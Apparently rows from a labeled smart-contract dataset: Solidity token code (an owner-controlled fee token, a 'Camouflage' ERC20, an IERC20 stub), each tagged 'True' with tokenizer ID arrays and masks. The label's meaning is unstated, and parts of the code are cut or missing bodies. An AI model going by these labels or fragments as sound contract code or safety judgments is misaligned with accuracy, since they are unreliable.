function _getETHBalance() public view returns(uint256 balance) {
return address(this).balance;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
require(taxFee >= 1 && taxFee <= 25, 'taxFee should be in 1 - 25');
_taxFee = taxFee;
}
function _setTeamFee(uint256 teamFee) external onlyOwner() {
require(teamFee >= 1 && teamFee <= 25, 'teamFee should be in 1 - 25');
_teamFee = teamFee;
}
function _setDFCWallet(address payable DFCWalletAddress) external onlyOwner() {
_DFCWalletAddress = DFCWalletAddress;
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
require(maxTxAmount >= 100000000000000e9 , 'maxTxAmount should be greater than 100000000000000e9');
_maxTxAmount = maxTxAmount;
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
2340,
1011,
2676,
1008,
1013,
1013,
1008,
3706,
2185,
2005,
1037,
2617,
1998,
4771,
13075,
11921,
3468,
17695,
18400,
1029,
1040,
11329,
1011,
13366,
13490,
5649,
17695,
18400,
2003,
2011,
2124,
16475,
2015,
2040,
2031,
2580,
2070,
1997,
1996,
2327,
7824,
2017,
2113,
1998,
2293,
2006,
3802,
2232,
13366,
13490,
5649,
3007,
1024,
1002,
1040,
11329,
13366,
13490,
5649,
13366,
2072,
1011,
2004,
1011,
1037,
1011,
2326,
1006,
4830,
3022,
1007,
19204,
1010,
2007,
3438,
1003,
4425,
5296,
2000,
1014,
2595,
2692,
3207,
4215,
2017,
4965,
2006,
28855,
14820,
1010,
2057,
15389,
9896,
2594,
6540,
3597,
2378,
9942,
2006,
2536,
8859,
1998,
2709,
1996,
11372,
2000,
1002,
1040,
11329,
13304,
1012,
3988,
4425,
1024,
1015,
1010,
2199,
1010,
2199,
1010,
2199,
1010,
2199,
1002,
1040,
11329,
3438,
1003,
1997,
1002,
1040,
11329,
5296,
2000,
1014,
2595,
2692,
3207,
4215,
2184,
1003,
1997,
2169,
4965,
3632,
2000,
4493,
13304,
1012,
2184,
1003,
1997,
2169,
5271,
3632,
2046,
2536,
1011,
4677,
9896,
2594,
6540,
3597,
2378,
19920,
2000,
5587,
2000,
1996,
9837,
1998,
4965,
2067,
1002,
1040,
11329,
19204,
2015,
1012,
23921,
1024,
16770,
1024,
1013,
1013,
1056,
1012,
2033,
1013,
13366,
13490,
5649,
17695,
18400,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1013,
14046,
1013,
1013,
2023,
2544,
1997,
3647,
18900,
2232,
2323,
2069,
2022,
2109,
2007,
5024,
3012,
1014,
1012,
1022,
2030,
2101,
1010,
1013,
1013,
2138,
2009,
16803,
2006,
1996,
21624,
1005,
1055,
2328,
1999,
2058,
12314,
14148,
1012,
1013,
1008,
1008,
1008,
1030,
16475,
10236,
7347,
2058,
5024,
3012,
1005,
1055,
20204,
3136,
1012,
1008,
1008,
3602,
1024,
1036,
3647,
18900,
2232,
1036,
2003,
3227,
2025,
2734,
3225,
2007,
5024,
3012,
1014,
1012,
1022,
1010,
2144,
1996,
21624,
1008,
2085,
2038,
2328,
1999,
2058,
12314,
9361,
1012,
1008,
1013,
3075,
3647,
18900,
2232,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
2804,
1997,
2048,
27121,
24028,
1010,
2007,
2019,
2058,
12314,
5210,
1012,
1008,
1008,
1035,
2800,
2144,
1058,
2509,
1012,
1018,
1012,
1035,
1008,
1013,
3853,
3046,
4215,
2094,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
22017,
2140,
1010,
21318,
3372,
17788,
2575,
1007,
1063,
4895,
5403,
18141,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1009,
1038,
1025,
2065,
1006,
1039,
1026,
1037,
1007,
2709,
1006,
6270,
1010,
1014,
1007,
1025,
2709,
1006,
2995,
1010,
1039,
1007,
1025,
1065,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
4942,
20528,
7542,
1997,
2048,
27121,
24028,
1010,
2007,
2019,
2058,
12314,
5210,
1012,
1008,
1008,
1035,
2800,
2144,
1058,
2509,
1012,
1018,
1012,
1035,
1008,
1013,
3853,
3046,
6342,
2497,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
22017,
2140,
1010,
21318,
3372,
17788,
2575,
1007,
1063,
4895,
5403,
18141,
1063,
2065,
1006,
1038,
1028,
1037,
1007,
2709,
1006,
6270,
1010,
1014,
1007,
1025,
2709,
1006,
2995,
1010,
1037,
1011,
1038,
1007,
1025,
1065,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2020-07-02
*/
//*Import PriceFeed Oracles
//*Import ReentrancyGuard
//*Import Oracles
//*Import Anonimity
//*Import OnlineBetting
//*Import TOR
pragma solidity ^0.6.0;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20MinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
contract Camouflage is ERC20 {
constructor(uint256 initialSupply) ERC20("Camouflage.eth", "CAMO") public {
_mint(msg.sender, initialSupply);
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
12609,
1011,
5718,
1011,
6185,
1008,
1013,
1013,
1013,
1008,
12324,
3976,
7959,
2098,
14721,
2015,
1013,
1013,
1008,
12324,
2128,
4765,
5521,
5666,
18405,
1013,
1013,
1008,
12324,
14721,
2015,
1013,
1013,
1008,
12324,
2019,
10698,
16383,
1013,
1013,
1008,
12324,
3784,
20915,
3436,
1013,
1013,
1008,
12324,
17153,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
1014,
1025,
3075,
3647,
18900,
2232,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
2804,
1997,
2048,
27121,
24028,
1010,
7065,
8743,
2075,
2006,
1008,
2058,
12314,
1012,
1008,
1008,
13637,
2000,
5024,
3012,
1005,
1055,
1036,
1009,
1036,
6872,
1012,
1008,
1008,
5918,
1024,
1008,
1011,
2804,
3685,
2058,
12314,
1012,
1008,
1013,
3853,
5587,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1009,
1038,
1025,
5478,
1006,
1039,
1028,
1027,
1037,
1010,
1000,
3647,
18900,
2232,
1024,
2804,
2058,
12314,
1000,
1007,
1025,
2709,
1039,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
4942,
6494,
7542,
1997,
2048,
27121,
24028,
1010,
7065,
8743,
2075,
2006,
1008,
2058,
12314,
1006,
2043,
1996,
2765,
2003,
4997,
1007,
1012,
1008,
1008,
13637,
2000,
5024,
3012,
1005,
1055,
1036,
1011,
1036,
6872,
1012,
1008,
1008,
5918,
1024,
1008,
1011,
4942,
6494,
7542,
3685,
2058,
12314,
1012,
1008,
1013,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2709,
4942,
1006,
1037,
1010,
1038,
1010,
1000,
3647,
18900,
2232,
1024,
4942,
6494,
7542,
2058,
12314,
1000,
1007,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
4942,
6494,
7542,
1997,
2048,
27121,
24028,
1010,
7065,
8743,
2075,
2007,
7661,
4471,
2006,
1008,
2058,
12314,
1006,
2043,
1996,
2765,
2003,
4997,
1007,
1012,
1008,
1008,
13637,
2000,
5024,
3012,
1005,
1055,
1036,
1011,
1036,
6872,
1012,
1008,
1008,
5918,
1024,
1008,
1011,
4942,
6494,
7542,
3685,
2058,
12314,
1012,
1008,
1013,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1010,
5164,
3638,
7561,
7834,
3736,
3351,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
5478,
1006,
1038,
1026,
1027,
1037,
1010,
7561,
7834,
3736,
3351,
1007,
1025,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1011,
1038,
1025,
2709,
1039,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
24856,
1997,
2048,
27121,
24028,
1010,
7065,
8743,
2075,
2006,
1008,
2058,
12314,
1012,
1008,
1008,
13637,
2000,
5024,
3012,
1005,
1055,
1036,
1008,
1036,
6872,
1012,
1008,
1008,
5918,
1024,
1008,
1011,
24856,
3685,
2058,
12314,
1012,
1008,
1013,
3853,
14163,
2140,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
1013,
1013,
3806,
20600,
1024,
2023,
2003,
16269,
2084,
9034,
1005,
1037,
1005,
2025,
2108,
5717,
1010,
2021,
1996,
1013,
1013,
5770,
2003,
2439,
2065,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-05-11
*/
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
